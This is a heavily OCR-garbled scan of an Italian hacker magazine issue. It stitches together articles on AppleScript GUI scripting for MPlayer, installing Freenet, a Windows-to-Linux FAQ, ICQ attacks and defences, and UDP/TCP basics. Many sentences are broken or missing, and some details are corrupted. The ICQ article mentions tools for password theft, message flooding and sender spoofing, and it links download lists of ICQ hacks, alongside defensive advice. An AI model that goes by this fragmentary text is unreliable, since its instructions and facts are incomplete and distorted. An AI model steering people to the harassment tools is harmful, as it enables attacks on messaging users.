Installatelo sul vostro Mac e attivate "Abili- 
ta accesso per dispositivi di assistenza" nel 
pannello "Accesso Universale" di Preferen- 
ze di Sistema. Siete pronti per pilotare 
MPIayer via AppleScript. 

» Telecomando e TU 

Aprite il pannello SonyEricsson Clicker in 
Preferenze, e selezionate la linguetta 
Phone Menu. Dalla colonna Availa- 
ble Items, trascinate l'elemento Menu 
nella colonna di sinistra. Chiamatelo 
MPIayer (o come diavolo volete). Ora 
andate nella linguetta Actions, premete 
su Add Action e, nella parte di destra, 
inserite il seguente codice: 



Date un nome all'azione appena creata 
(con un doppio clic sulla colonna di sini- 



stra). Ora, allo stesso modo, create altre 
azioni sostituendo di volta in volta la riga 
con il comando click button, in queste 
modo: 

Avanzamento rapido 10 secondi: 

click button "»" 
(il carattere "»" si ottiene con 
Alt+Shift+1 nelle tastiere Italiano Pro) 
Riawolgi 1 secondi: 
click button "«" 
(il carattere "«" si ottiene con Alt+1 nel- 
le tastiere Italiano Pro) 
Attiva/Disattiva sottotitoli: 
click button 8 
Visualizza a tutto schermo: 
click button 9 

Visualizza informazioni sul tempo 
della traccia: 



Fate attenzione a una cosa: a secon- 
da delle versioni e della distribuzione, 
il nome del programma cambia 
(MpIayer OSX tutto attaccato in alcuni 
casi, OS X staccato in altri). Fate in 
modo che il vostro script chiami l'ap- 
plicazione col suo vero nome. 
Bene, se avete fatto tutte le azioni, sie- 
te pronti ad andare nella sezione 
Phone Menu e trascinarle nel menu 
MPIayer creato in precedenza. Preme- 
te su Publish e il nuovo menu compa- 
rirà nella voce Accessori del telefo- 
no. Adesso correte pure al divano a 
provare il tutto, con pop-corn, coca 
cola e cellulare. 

» Approfondiamo un po' 

Ok, giochino del telecomando a parte, 
quello che abbiamo appena visto è 
molto più importante di quello che 
sembra. Con il GUI scripting si posso- 
no comandare via AppleScript anche 
applicazioni che normalmente non sono 
scriptabili, o che lo sono in modo limita- 
to, purché abbiano un'interfaccia grafica 
nativa per Mac OS X. A parte alcune ra- 
re e lodevoli eccezioni, l'implementazio- 
ne di AppleScript in Cocoa lascia un po' 
a desiderare. Il GUI scripting risolve 
questi problemi, e vale la pena di co- 
noscerlo un po' meglio. Osserviamo la 
prima parte del listato: 



Nella Secret Zone di 

hackerjournal.it trovate 

i loghi di HJ per il vostro 

cellulare, completamente 

gratis! Correte a prenderli e 

mandateci le vostre creazioni 

a banner@hackeriournal.it 





A differenza dei normali AppleScript, 
l'espressione teli non si riferisce al 
programma da pilotare, ma sem- 
pre e solo all'applicazione "System 
Events". Sarà questa poi a navigare i 
vari menu ed elementi di interfaccia 
del programma destinatario, fino ad 
arrivare all'elemento da selezionare. 
Ma come si fa a conoscere i nomi 
delle finestre, dei menu e dei 
singoli controlli? A volte sono espli- 
citi (il titolo di una finestra, per esem- 



UlElementlnspector rivela le coordinate 

fisiche e logiche di ogni elemento 
dell'interfaccia di un'applicazione Cocoa. 

pio), ma altre volte sarebbe necessc 
rio analizzare il sorgente dell'applica- 
zione per sapere come il programma- 
tore ha chiamato il singolo pulsante. 
Fortunatamente, Apple ci viene incon- 
tro con il programma UlElementln- 
spector, che si scarica da www.ap- 
ple.com/applescript/GUI/UI-lnspec- 
tor.sit. Questo programma apre sul- 
lo schermo una finestra che mo- 
stra il nome dell'elemento di in- 
terfaccia su cui si trova il punta- 
tore del mouse, insieme ai nomi di 
tutti gli elementi padre di quell'ogget- 
to e altre informazioni, come le coor- 
dinate del mouse. E ora, sotto con gli 
script! m 
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FILE SHARING.» 



FREENET: IL PEER 2 PEER ANONIMO, CIFRATO, INATTACCABILE 





NE 



ìt è, in linea di prin- 
una applicazione 
to peer basata su 
, né più né meno di 
e che abbiamo visto 
a. Eppure, al tempo 



. Si distacca infatti dal- 
la usuale logica di caccia alla canzone 
o al film, per instaurare una vera e pro- 
pria cultura della condivisione. Freenet 
si autodefinisce come un "enorme con- 
tenitore virtuale di informazioni", quan- 



senza timori 
cun genere 



asce nel 1999, su un 
n Clarke per distribuire e 
. _, mozioni in un sistema de- 
centralizzato, e da allora, dopo aver at- 
tirato gli immancabili strali dei protetto- 
ri del diritto d'autore, è andato evolven- 
dosi fino all'attuale versione. 



» Installare Freenet 



L'installazione è estremamente semplice 




lineare. Da 



ceforge.net 



,ito del progetto (una 
del sito è reper" " 



X 



Freenet, dal quale si possono 
scegliere i componenti da installare. 



do non addirittura Tlnternet alternati- 
cui si può essere 



. Le informazioni so- 
no protette nella loro integrità e nella 
loro anonimità dalla stessa struttura del 
network, nonché da 



ÌAIA 



http://freenetproject.org/cgi- 
bi n/twi ki/vi e w/ IT/Web Home 



tri sistemi, che reperirà poi i file neces- 
sari. In caso di difficoltà, si può scarica- 
re l'installer completo della versione più 
recente dei file di installazione, detto 
"snapshot" (procedura da seguire co- 
munque per l'installazione sotto Linux e 
Macintosh). Da lì si procede semplice- 
mente approvando le varie fasi del se- 
tup. Verranno quindi installate le runti- 
me Java necessarie, e nella barra degli 
strumenti sarà visibile la simpatica icon- 
cina di un coniglietto azzurro stilizzato 



> Configurare Freenet 



L'ultima cosa necessaria a far partire il 
nodo Freenet è il Node Ref, abbrevia- 
ì di Node Reference, ovvero una 
e di riferimento nel network. 



una delle basi della riservatezza 



: nella maggior parte dei 
casi si può accettare quella di default, 
ma ci sono casi in cui un provider o un 
governo può aver individuato la chiave 
di default come appartenente a Free- 
net, e averla quindi bloccata. In questo 
caso, si dovrà ottenere la chiave da un 
altro noto, per 

. Tutti coloro ai 
quali la frase "sfuggire ai controlli" ab- 
bia fatto storcere il naso, sono invitati a 
leggere il paragrafo sulla filosofia di 
Freenet. . . 

Un clic destro sull'icona permette inoltre 
di importare ed esportare Refs, definire 
il nostro nodo come transiente o per- 
manente, chiudere, fermare e riawiare 
Freenet, visualizzare il log (in cui sono 
registrate tutte le operazioni effettuate 
dal nodo) e accedere ad altre configu- 
razioni particolari (riservate ai più che 
esperti). 



» Utilizzare Freenet 



Un doppio clic sull'icona apre il nostro 
browser di default con l'interfaccia Web 
di Freenet. Sulla sinistra, ci sono una se- 
rie di strumenti informativi: 



dì comando. Al centro, la sezione 
dei bookmark riporta i link ai principali 
indici di siti Freeweb, reperibili diretta- 
mente da lì o attraverso la finestra di ri- 
cerca immediatamente inferiore, in cui 
la ricerca deve essere effettuata attra- 
verso la chiave Freenet corrispondente, 
Qualcosa come @ @ 
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Freenet si manifesta a noi sotto forma 
di interfaccia Web, dentro al browser 
predefinito. 



Ia//pagina.html 



ibilità di inseri- 
), nel caso vo- 



inserire noi stessi qualco- 
a rete 



del file. 

E proprio parlando di Mime, dobb.. - 

fare una precisazione: se utilizziamo In- 
ternet Explorer, a ogni richiesta compa- 
rirà (se non disabilitata come da istru- 
zioni) una pagina di avviso, che ci av- 
vertirà 



stiamo utilizzando uno 
mto potenzialmente ne. 

mfm 



nr 



> 



xplorer non interpreta correttamente i 
modelli Mime, compromettendo la sicu- 
rezza e la stabilità dei passaggi di in- 
formazioni. Problema da cui è immune, 
per dirne uno, Mozilla. 



» Applicazioni 
per Freenet 



In questo momento l'applicazione più 
interessante è sicuramente la pubblica- 
zione su Freenet di siti Web aggiornabi- 
li in tempo reale (weblog, bollettini). Esi- 
stono a tal scopo guide esaurienti (la 



più nota è reperibile su Freenet all'indi- 



nonchè appositi script e utility, come 
FreeWeb ( 

). Per gli utenti Linux, ne è di- 
sponibile una versione a linea di co- 
mando, FCPTooIs 



Inoltre è possibile leggere e inviare 
news attraverso la rete Freenet e il no- 
stro usuale news reader mediante il 
programma FreeNews ( 



» La filosofia 
di Freenet 



La libertà è un principio discusso, a vol- 
te abusato, nella Rete come ovunque. E 
tutti gli strumenti che danno la libertà di 
andarsene in giro tranquilli e nascosti 
possono essere utilizzati come 

: per cause no- 
bili, interessanti, divertenti o niente di 
tutto questo. La rete Freenet è come una 
grande arteria stradale: ci viaggiano le 
famigliole in vacanza come i criminali. 
Ma 

Ugualmente, Freenet è uno strumento, 
usabile e abusabile, da lodare per i 
suoi utilizzi nobili più che da vituperare 
per quelli meno nobili. 
Freenet 

. E per lan Clarke l'in- 
formazione è la base stessa della liber- 
tà, di ogni genere di libertà. L'informa- 
zione libera, accessibile a tutti e non 
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Manco a dirlo, uno dei browser che può 
compromettere la sicurezza e l'affidabilità 
delle comunicazioni di Freenet è -guarda 
caso- Internet Explorer. Un motivo in più 
per cambiarlo. 



manipolata da nessun governo o parte 
politica. Accessibile e veicolabile: per- 
ché tutti sappiano, tutti devono poter di- 
re, e per poter dire, tutti devono essere 
liberi di esprimersi in modo anonimo, o 
meglio, attraverso pseudonimo (che, 
grazie alla firma digitale, può divenire Hj 
più sicuro e inequivocabile di qualsiasi ■-■ 
Dme), senza temere ritorsioni. 

, che 
anzi già lo danno per morto, vinto dal- 
le nuove forme di comunicazione e 
scambio in Rete: la proposta è quella 
del cosiddetto Fairshare, ovvero una 
sorta di mecenatismo moderno, basato 
su offerte spontanee da parte degli 
utenti (collegati, nemmeno a dirlo, at- 
traverso la rete Freenet) verso gli artisti 
di loro gradimento. 

Su Freenet sono reperibili gli scritti di 
autori e giornalisti "silenziati", le inchie- 
ste che "scottano" e danno fastidio ai 
vari governi, ma anche le release di Li- 
nux "sicure". Su Freenet chiunque può 
pubblicare senza disporre di uno spazio 
;b, grazie alla disponibilità dei vari 
ella rete. E soprattutto, 



Ker 
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PROBLEMI /DUBBI/CURIOSITA/ACCORGIMENTI DEL PASSAGIO DA WINDOWS A LINUX. 




Una serie delle più frequenti domande che assillano le 

persone che uogliono installare Linu» sul proprio 

computer e non hanno mai uisto niente di diuerso da Windows. 



<^ Vorrei installare Linux ma tutto lo spazio su hard 
♦ disk è occupato interamente dalla partizione di 
Windows 98; è possibile farlo senza dover ripartizio- 
nare da capo l'hd? 



Esistono diversi programmi che permettono di ridimensiona- 
re facilmente una partizione Fat32, creando così spazio libe- 
ro per nuove partizioni. Sebbene non più attivamente svilup- 
pato e quindi caduto un po' in disuso, Fips 
(www.igd.fhg.de/-aschaefe/fips/) rimane uno dei 
programmi che hanno aiutato generazioni di utenti a rita- 



Problemi con Linux? 
Il forum sul nostro sito 
vi attende! 



*^ Volevo sapere se esiste un 

modo per accedere direttamen- 
te da Linux ai dati presenti sull'altra 
partizione di Windows, ad esempio 
nella cartella C:\Documenti\... 




gliare sempre più spazio per il pinguino sul proprio disco fis- 
so. Ufficialmente supportato dal progetto GNU e in fase di 
sviluppo è invece Parted (www.gnu.org/software/par- 
ted), in grado di ridimensionare partizioni di tipo Ext2 e Fat. 
Inoltre le più note distribuzioni integrano appositi tool grafi- 
ci utilizzabili in fase di installazione per semplificare ulterior- 
mente il processo di ripartizionamento; tra questi spicca si- 
curamente DiskDrake, incluso con la distro francese Man- 
drake. Prima di avviare il processo di ripartizionamento, è 
consigliabile effettuare un Defrag per compattare i dati e ri- 
durre al minimo la loro frammentazione nel disco rigido; 
inoltre effettuate un backup preventivo dei vostri preziosi da- 
ti poiché, come ogni bravo informatico sa... la legge di 
Murphy è sempre in agguato, e se qualcosa può andar ma- 
le, lo farà senz'altro ;-) Infine, se sull'hard disk sono presen- 
ti partizioni NTFS di Windows NT/2000 o XP, è necessario 
ahimè ricorrere a software commerciali come Powerquest 
Partition Magic per ridimensionarle. 



Abbiamo già avuto modo di parlare < 
particolarità del filesystem di Linux 
numero 1 8 recentemente pubblicato, 
questo caso sarà sufficiente montare 
partizione di Windows nel filesystem; 
punto di montaggio predefinito, a voi' 
/windows e a volte invece /mn 
dows, può variare in base alla . 
buzione. Ad esempio con il come 



sarà possibile accedere ai da- 
ti presenti in C: entrando nel- 
la directory /mnt/windows. 
Inoltre il comando mount cer- 
ca di riconoscere il tipo di fi- 
lesystem che si sta mon- 
tando, anche se con 
l'opzione -t <tipo-fs>, - 
t vfat nel nostro caso, è 
possibile specificarlo diret- 
tamente. Infine con l'opzione 
-r il dispositivo vena montato in s 



\ 



Ad esempio 



Una volta acquisita un po' di dimestichezza con le partizioni e 
il loro montaggio, potrete personalizzare il file /etc/fstab in 
base alle vostre esigenze, semplificandovi notevolmente la vi- 
ta. Sappiate infine che le partizioni di Windows NT4/2000/XP 
non sono di tipo Fat32 bensì NTFS: questo implica che il tipo 
di filesystem è ntfs e, soprattutto, sono accessibili solo in 
lettura. 

Ultimo ma non meno importante, assicuratevi sempre di 
aver smontato correttamente i dispositivi una volta 
finito di utilizzarli, con il comando umount (non è un er- 
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L'unione fa la forza: i gruppi di utenti 

La tendenza "sociale" dell'uomo, il suo bisogno cioè di incontrarsi e confrontarsi 
con altri individui in cui si riconosce e con i quali condivide qualcosa, trova ampi 
spazi anche in settore come l'informatica e, in particolare, con il software libero. 
Alle vivaci comunità virtuali di utenti e sviluppatori che si formano intorno ad ogni 
porzione di codice free, esistono sparsi per tutto il mondo migliaia di Linux User 
Group. Un LUG altro non è infatti che un gruppo di persone accomunate da una 
stessa passione e che collaborano insieme condividendo esperienze, ampliando 
le proprie conoscenze e che si impegnano attivamente per promuovere il softwa- 
re libero sul territorio locale. Per fare questo i LUG, oltre ad impegnarsi nella creazione di una comu- 
nità virtuale (ove gli utenti interessati possono richiedere informazioni o, perchè no, un aiuto..), orga- 
nizzano spesso corsi, incontri con studenti, meeting, giornate "a porte aperte" quali il noto LinuxDay 
e persino mega grigliate! Per sapere quale è il Linux User Group più vicino a casa vostra, potete con- 
sultare la lista disponibile all'indirizzo www.linux.it/LUG/ 



la n si è persa 
strada...) 



\ 



MR. TTJX 



rn 



DIRO-» IN BLACK 




<~^ Come posso utilizzare sotto 
♦ nux i diversi programmi che I 
normalmente utilizzo con Windows? | 
C'è qualche emulatore? 



WINE (www.winehq.com) è oggi forse 
il più noto pacchetto per l'interoperabilità 
Linux/Windows; compito di questo software - 
non è infatti quello di emulare il noto am- *■ 
biente Microsoft bensì quello di fornire un 




terface) di Windows per sistemi Unix-like. Più nel 

dettaglio, Wine (che sta per WINdows Emulator ma anche 
per WINE Is Not an Emulator!) fornisce un loader che, ap- 
poggiandosi ad apposite librerie, traduce le chiamate dei 
programmi per Windows in chiamate per Linux/X-Win- 
dows. Un approccio diverso è invece quello di Bochs 
Emulator, che non si limita ad supportare il sistema di 
Redmond bensì emula un intero PC, dal BIOS ai vari di- 
spositivi. 

Altri programmi utilizzabili per scopi simili sono Win4Lin, 
VmWare o Codeweavers CrossOver Office: in questo 
caso però non si tratta di software libero ma commerciale. 
E importante però notare come l'emula- 
li^ SWAM z i one non s j a nella maggior parte dei 
casi la soluzione migliore: di molti 
programmi open source per Windows è 
stato effettuato un porting verso piattafor- 
SlLACft m a Linux (anzi., spesso accade il contra- 

rio!) e, in altri casi, sono stati sviluppati ap- 
positamente dei "cloni" per Linux che, 
quasi sempre, superano sotto molti aspet- 
ti il programma originale. 






*r^ Purtroppo dispongo di un solo 
♦ PC e non vorrei rinunciare 
I completamente a Windows, pur vo- 
lendo sinceramente provare Linux: 
come posso gestire questa "convi- 
venza forzata"? 



Quasi sempre Windows e GNU/Linux nsie- 




implementazione open source de I I^RIlTFf T|i\iiì l-U-rtlM iTFR<ì dono in partizioni differenti e quindi indi- 

._....... _ ceij-ipla tue cri iili ne .,.,,. 



API (Application Programming I 



Fuorvi tiif «curii df 

THE LIMI I/ERSE 



pendenti, e quindi l'unico problema riguar- 
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PROBLEMI /DUBBI/CURIOSITA/ACCORGIMENTI DEL PASSAGIO DA WINDOWS A LINUX. 




Considerato che altri prodotti commerciali potevano vantare 
grosse quantità di documentazione, molti utenti decisero di 
unire i loro sforzi e lavorare insieme per fornire, mantenendo 
stretti contatti con i programmatori, una documentazione 
completa e di qualità sul sistema GNU/Linux fondando così 
il Linux Documentation Project. 

La biblioteca del Ldp (www.tldp.org/) è divisa in varie cate- 
gorie: 

- HOW-TO (letteralmente "come fare per../ 7 ): tantissi- 
mi e focalizzati alla risoluzione delle problematiche più dispa- 
rate legate alla configurazione di un particolare aspetto del 
sistema piuttosto che di una periferica hardware; per ogni 
vostro problema esisterà probabilmente un How-To in grado 
di aiutarvi a risolverlo!. 

- Guides: le guide non sono nient'altro che libri nel vero 
senso della parola tanto che, alcune di quelle ivi presenti, 
sono anche state stampate in formato cartaceo da editori di 
fama come O'Really Associates o, in Italia, da Hops Libri e 
Apogeo; se volete ad esempio amministrare un sistema o 
giocare un po' con il kernel, in questa sezione troverete pane 
per i vostre denti 

- FAQ (Frequently Asked Questions, ovvero le 
domande più frequenti): divise per argomenti, sono state 
pazientemente raccolte le domande più ricorrenti poste alla 
comunità; si rivelano in particolare utilissime per una risolu- 
zione rapida dei problemi più semplici. 

- man pages: poteva forse mancare una sezione aggior- 
nata delle pagine di manuale (le note "Man pages") dei 
comandi GNU/Linux più diffusi? 

Anche noi Italiani disponiamo di un Ldp tutto nostro 
(http://ildp.pluto.linux.it/) che, grazie all'impegno di molti, ha 
messo a disposizione nella nostra madre lingua la maggior 
parte dei documenti prima presentati. Sono inoltre da segna- 
lare diversi pregevoli lavori "made in Italy" (la cui lettura è 
consigliata vivamente ai principianti!) tra i quali spiccano gli 
'Appunti di informatica libera" di Daniele Giacomini, un 
completissimo manuale di milleduecento pagine riguardante 
ogni aspetto di questo SO, "Linux Facile" di Daniele Medri e 
"Linux da Zero" di Marcello Missiroli. 



da la gestione del boot dei singoli sistemi presenti. In fase 
di installazione tuttavia le distribuzioni consentono di in- 
stallare nel MBR (Master Boot Record, cioè il primo settore 
del disco) un BootLoader, un programmino che consen- 
te ciò di selezionare quale sistema operativo di volta in vol- 
ta caricare; storicamente il bootloader per Linux è sempre 
^i stato LILO (Linux LOader) anche se recentemente è sta- 
■£mV° un po' messo in disparte e ad esso le varie distri- 
buzioni stanno preferendo GRUB, forse più com- 
plesso ma decisamente più versatile. In alternativa 
vi è comunque la possibilità di creare un floppy di 
boot da utilizzare per l'avvio del Linux installato, senza do- 
ver così intaccare il MBR. 



«r^ Ho urgente bisogno di eliminare completa- 
^ mente Linux dal PC su cui lo avevo installato 
ma non ho assolutamente idea di come fare!!! Vi 
prego... aiutatemi! 



Sebbene normalmente l'eliminazione di Linux comporti la fu- 
cilazione immediata, vedremo per questa volta di chiudere 
un occhio... ;-) Tra le diverse alternative possibili, la più sem- 
plice è forse quella di utilizzare il buon vecchio fdisk di MS- 
Dos per eliminare le partizioni Linux ed eventualmente so- 
vrascrivere il boot manager installato. Chiunque fos- 
se interessato può trovare sulla mia home page 
(www.muug.it/lele/) un documento intitolato "FDisk - Eli- 
minare partizioni Linux" che spiega passo per passo cosa fa- 
re in questi casi. 



«r^ Come si utilizza il comando move? Volevo sa- 
♦ pere quali sono le opzioni per Is? Quale è la 
sintassi del comando tar?... 



Tradizionalmente la documentazione dei programmi sotto 
unix viene diffusa sotto forma di man(ual) pages, ovvero pa- 
gine di manuale in linea. Il programma man consente 
di accedere alla documentazione disponibile sul si- 
stema in maniera estremamente semplice; digitando man se- 
guito dal nome del programma su cui si desiderano mag- 
giori informazioni, comparirà sullo schermo la pagina di 
istruzioni contenente tutti i dettagli. Per scorrere le pagine di 
manuale è sufficiente utilizzare i tasti cursore e le lettere u (up) 
e d (down), mentre per uscire utilizzate q; per avere ulteriori 
informazioni sul funzionamento di man e sulle pagine di ma- 
nuale dovrete semplicemente scrivere... man man! 



<~^ Incuriosito dal progetto UnitedLinux, ho scari- 
♦ cato il CD e ho installato il sistema; purtroppo 
ho sbagliato qualcosa nella configurazione della 
grafica e ora ogni qualvolta avvio il sistema, tutto 
sembra caricarsi correttamente finché, alla fine, il 
monitor inizia ad accendersi e spegnersi più volte 
ed infine compare la scritta, in modalità testuale, 
"Login etc". Che significa? Come posso fare per 
poter avere il sistema in modalità grafica? 
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Il problema qui presentato è tipicamente sinonimo di 
un'errata configurazione del server grafico (ad esempio 
scheda video o monitor non impostati correttamente...) 
e lo strano comportamento del monitor è probabilmen- 
te imputabile ad X stesso, che prova invano ad avviarsi 
con diverse risoluzioni/profondità di colore. In questi 
casi conviene iniziare a raccogliere il maggior nu- 
mero possibile di informazioni sulla scheda vi- 
deo (marca, modello, memoria...) e sul monitor 
(marca, modello, frequenze e risoluzioni supportati); 
dati alla mano, si può quindi visitare il sito Web della 
distribuzione utilizzata o del produttore alla ricerca di 
eventuali driver specifici o di particolari accorgimenti da 
adottare. A questo punto è possibile autenticarsi nel si- 
stema (facendo per l'appunto il Login) come 'root' e di- 
gitare quindi xf86config per avviare il programma te- 
stuale di configurazione di X (di cui XF86Setup ne è la 
versione grafica e un po' meno ostica); attenetevi ai va- 
lori specificati dal produttore (specialmente per la fre- 
quenza del monitor!) e provate prima con risoluzioni 
basse e crescete man mano. Infine alcune distribu- 



La documentazione di Linux 



zioni integrano un proprio tool per la configura- 
zione del server grafico (sax2 nel caso specifico di 
SuSE/United Linux). 



*r^ Perchè non mi funziona il suono? Ho appena 
♦ installato Linux ma purtroppo lo scanner, un 
Epson Perfection 1260, non riesce a funzionare; chi 
mi può aiutare? Se installo Linux, funzionerà an- 
che la linea ADSL con il mio modem Ericsson? La 
mia Red Hat non mi riconosce il modem Alcatel 
SpeedTouch USB; qualche idea? 



Sono in molti a chiedere aiuto per l'installazione delle pe- 
riferiche, specialmente modem USB, scanner, schede audio 
eccetera. Purtroppo la maggior parte dei produttori hard- 
ware non rilascia driver per Linux (anche se, lentamente, la 
situazione sta prendendo una piega diversa) e quindi ci si 
deve affidare al lavoro di pochi valorosi (e volon- 
tari) Linux-hacker che scrivono i driver con le loro san- 
te manine. Questo però può ovviamente implicare lunghi 
tempi di attesa prima che anche Linux supporti questa o 
quella specifica periferica appena arrivata sul mercato. In 
primis conviene visitare il sito Web del produttore al- 
la ricerca di eventuali driver specifici o di particolari accor- 
gimenti da adottare e quindi ricercare sui siti delle distri- 
buzioni alla ricerca di qualcuna che nell'ultima release ab 
bia inserito il supporto per questo hardware; una ricerca 
con Google utilizzando come chiavi <modello della pe- 
riferica > + linux vi restituirà sicuramente qualche sito 



contenente maggiori informazioni e messaggi di altri uten- 
ti che prima di voi hanno incontrato questo problema e 
che, si spera, l'hanno felicemente risolto.. Inoltre per le pe- 
riferiche USB date un'occhiata anche al sito http://linux- 
usb.sf.net. Ricordatevi, quando inviate un messaggio per 
chiedere aiuto, di essere il più esaustivi ed essenziali pos- 
sibile: indicate sempre e marca e modello della periferica 
ed eventualmente cosa avete già tentato di fare, seppur 
con scarsi risultati. 



*-^ Ho installato Mandrake sul mio portatile e 
^ funziona tutto a parte il modem integrato 
PC.Tel.. aiutooo!! Qualcuno potrebbe dirmi come 
fare per riuscire a far andare il mio Lucent Win- 
Modem interno sotto Linux? 



Con il termine WinModem (o "soft modems") si indica 
quella tipologia di modem che, appoggiandosi al dri- 




Tra i tanti HOW-TO per Linux sicuramente troverete 
quello per far funzionare la vostra periferica. 

ver e quindi al SO, utilizzano il processore stesso della 
macchina per alcune funzioni. I WinModem risultano 
essere così meno costosi e pertanto i produttori tendo- 
no ad utilizzarli frequentemente, integrandoli nei lap- 
top e inserendoli all'interno di moltissimi PC "assem- 
blati". Se con Windows però i problemi sono limitati, 
con Linux la situazione assume contorni drammatici. 
Per lungo tempo infatti non sono stati supportati da Li- 
nux e solo recentemente la situazione è miglio- 
rata grazie al lavoro di alcuni abili programmatori e 
alla decisione di alcune case (Lucent Technologis in pri- 
mis) di rilasciare driver anche per il pinguino. Punto di 
riferimento principale (in lingua Inglese) per tutti i pos- 
sessori di WinModems è www.linmodems.org; po- 
tete inoltre unirvi al gruppo linmodem 
(http://groups.yahoo.com/group/linmodem) 
che gestisco e chiedere aiuto, anche in italiano, alla 
mailing list 



lete - leH 
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ATTACCHI E DIFESE PER IL PIÙ POPOLARE SPARAMESSAGGI 
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Il suo simbolo è orm ai sinonimo di messaggi istantanei, ma proprio 
qoesto soa grande diffusione ha generato dozzine di programmi 
maliziosi che ne sfruttano le falle... 




tti (o quasi) sappiamo 
"ie ICQ è un program- 
ia che consente l'invio 
i messaggi in tempo 
eale ad altri utenti che lo 
utilizzano. Una volta ter- 
minato il download, basta installarlo e 
"registrare un 
}. nick o "pseudo- 
nimo", per ini- 
ziare subito ad 
utilizzarlo. Regi- 



programma 
vi assegnerà un UIN (Universal 
Internet Number), che s< 
per identificarvi in rete 



questo 
hiunque fosse a conoscenza del 
numero UIN o Nick, potrà met- 
tersi in contatto 




E pro- 
prio qui sta il 
problema ... 



tra numero e per- 
sona, un attac- 
cante potrebbe 
identificare la sua 
vittima anche se il 
numero IP cam- 



messaggi 
fensivi. 
grammi in ^ 
do di proteg 
gerci da questi 
tipi di 



ICQ 

Swat Icq I 

luad 



ho citato, 



nùafi 



ì 



eliminare in modo 
lolto semplice i messaggi ch< 
hanno sommerso il nostro ac 
count 



._.. _ .noie- 
stato re, 
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ossiamo 
ittivare la 
funzione 
"Ignore" 
dal pro- 
gramma, 
che inseri- 
sce auto- 
mi a t i e a - 
mente nel- 



bia a ogni nuovo collegamento. 



Visto il largo utilizzo di ICQ, negli anni 
sono stati creati degli appositi program- 
mi per hackerarne le funzionalità. Uno 
dei più famosi è senza dubbio 

. Le funzioni < 
questo programma, apparentemente 
simpatico ma ~ui— +~™ ^; r + , +4;,^ 
vanno dal sem 



furto delle pas 
sword bombardamento degli 



Un'altra tecnica utilizzata dai molestato- 
ri online è lo " Spoofing " che permette 
di bombardare un utente di messaggi, 
facendo sembrare che ogni singolo 
messaggio provenga da un diverso 
nick. Altri metodi di protezione li pos- 
siamo trovare all'interno di ICQ stesso. 
Scegliendo dal menu la funzione 

, possiamo decidere chi 
informare della nostra vera presenza 
online. Se la funzione è disattivata, 
chiunque potrà contattarci o molestarci, 
se l'attiviamo saremo visibili soltan- 



to a chi abbiamo dato 

l'autorizzazione. Il prò- 

gromma mette a disposi- 
anche la funzione 
, che ci renderà 
invisibili, anche quanc 
siamo realmente corine^. 
Una volta attivata questa fun 

ssiamo rimanere sereni, poiché in r v 
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rogrammi, 



WZì^KV'Iìi^mBitizià 



creati per smascherare 
identità 



e messaggi anche sen- 
o l'autorizzazione e ve- 
dere se una persona è online indipen- 
dentemente dalle impostazioni di visibi- 
lità che questa ha impostato sul suo 
computer. 



ICQ Watch, Warforge IC( 
e ICQ Hacking Utility 



tentativi di connessione al nostro ICQ, 
per evidenziare eventuali tentativi di in 
trusione; il secondo protegge da ever 
tuali tentativi di "bombardamento" e , 
terzo racchiude varie funzioni per poter 
continuare a scambiare messaggini con 
tranquillità. 



kar 
jDlfotakar.com 



www.red-demon.com/icq.html 
Lista di utility e hack per ICQ. 
www.darkfall.demon.co.uk/fallen/icq/m 




www.napolihak.it/pagine/down/icq.php 
Una lista più ridotta ma con descrizioni 
in italiano. 
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USER DATAGRAM PROTOCOL E TRASMISSION CONTROL PROTOCOL 




Dopo auer analizzato il liuello IP, con le sue caratteristiche, il suo datagram e 

la sua struttura, è giunto il momento di "salire un gradino" per arriuare al 

liuello superiore, quello per intenderci in cui si ha lo scambio dei pacchetti di 

trasporto, ed al quale appartengono UDP e TCP. 



rima di entrare nello 
specifico di questo livel- 
lo, vogliamo ricordare 
solo brevissimamente la 
"torre Internet" formata 

, sopra il quale si impilano i vari 
livelli costituiti da quello 

(con lo scambio dei frames), 
quello di 

(con lo scambio del datagramma 
IP), quello di 

formato da UDP e 
TCP (con lo scambio dei pacchetti) ed 
infine l'ultimo detto 

(con lo scambio dei mes- 
saggio applicativi). 

» Uiaggio di un 
datagramma 



iSniisiron SgcnariDà 



parte da un host per raggiungerne un 
altro, sia diretto ad una determinata 
"macchina". In verità però, è ovvio che 
quel pacchetto, una volta raggiunta la 
macchina destinazione, non ha certa- 
mente terminato il suo cammino, per- 
ché 



Com'è quindi possibile ciò? Per sempli- 
ficare le cose, possiamo dire che l'indi- 



^-^ 





Va^S 



rizzo di destinazione di un certo pac- 
chetto, oltre all'IP da raggiungere, che 
possiamo assimilare alla Via di una cit- 
tà, contiene anche un altro valore detto 
"porta", assimilabile nel nostro esempio 
al numero civico al quale si associa 
senza possibilità di errore uno specifico 
"nucleo familiare" che rappresenta 
l'applicazione interessata. 

5 permette di associare svariate 
a un determinato indi- 
rizzo IP Le protocol port non sono altro 
che dei 

, ovviamente virtuali. Una 
volta che un'applicazione chiede acces- 
so ad una determinata porta, nel mo- 
mento in cui l'ha ottenuto si mette in 
ascolto su quella porta e tramite questa 
può ricevere o trasmettere i pacchetti 
necessari, senza per giunta sapere cosa 
ci sia al di là della porta stessa. Se per 
esempio devo spedire un fax tramite il 



PC io utilizzerò un driver che interfacci il 
mio computer alla periferica adatta al- 
lo scopo; se avessi anche un'altra peri- 
ferica adatta potrei scollegare la prima 
ed attaccare la seconda e, nel caso in 
cui il driver fosse il medesimo, otterrei lo 
stesso risultato senza che il PC si accor- 
gesse di nulla. 



» Datagrammi UDP 



Come IFJ anche UDP ha un suo specifi- 
co datagramma, anch'esso formato da 
due parti: 

• Headei : è l'intestazione. 

• è l'area 
in cui sono contenuti i dati veri e propri. 

L'intestazione in questo caso è assai più 
semplificata rispetto a quella dell'IP) ed 



Tw-i*ii i^rp 



iti.g ELft*™iJ 



Torre di internet: livello fisico, livello 
internet, livello di trasporto e livello 
applicativo. 
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è formata solamente da quattro com- 
ponenti, e per la precisione: li 

/ la 
, la ghezza dflH 

intesa come somma dell'hea- 
der più l'area dati, e 

determinante 
per verificare l'integrità del 
messaggio stesso. Un'altra 
analogia con il protocollo IP 
è Tinaffidabilità", che può 
causare la perdita, la dupli- 
cazione o l'arrivo errato di 
un pacchetto. 

Un diversità col protocollo IP 
risiede invece nel calcolo 
della somma di controllo, 
formata in questo caso sia 
dall'intestazione che dall'a- Kj e | 

rea dati. Questo campo è j nv j, 

opzionale e può quindi es- 
sere settato "a zero" nel ca- 
so in cui non venga utilizza- 
to. Altra complicazione della 
somma di controllo sta nel 
fatto che 

ma considera anche altre informazioni, 
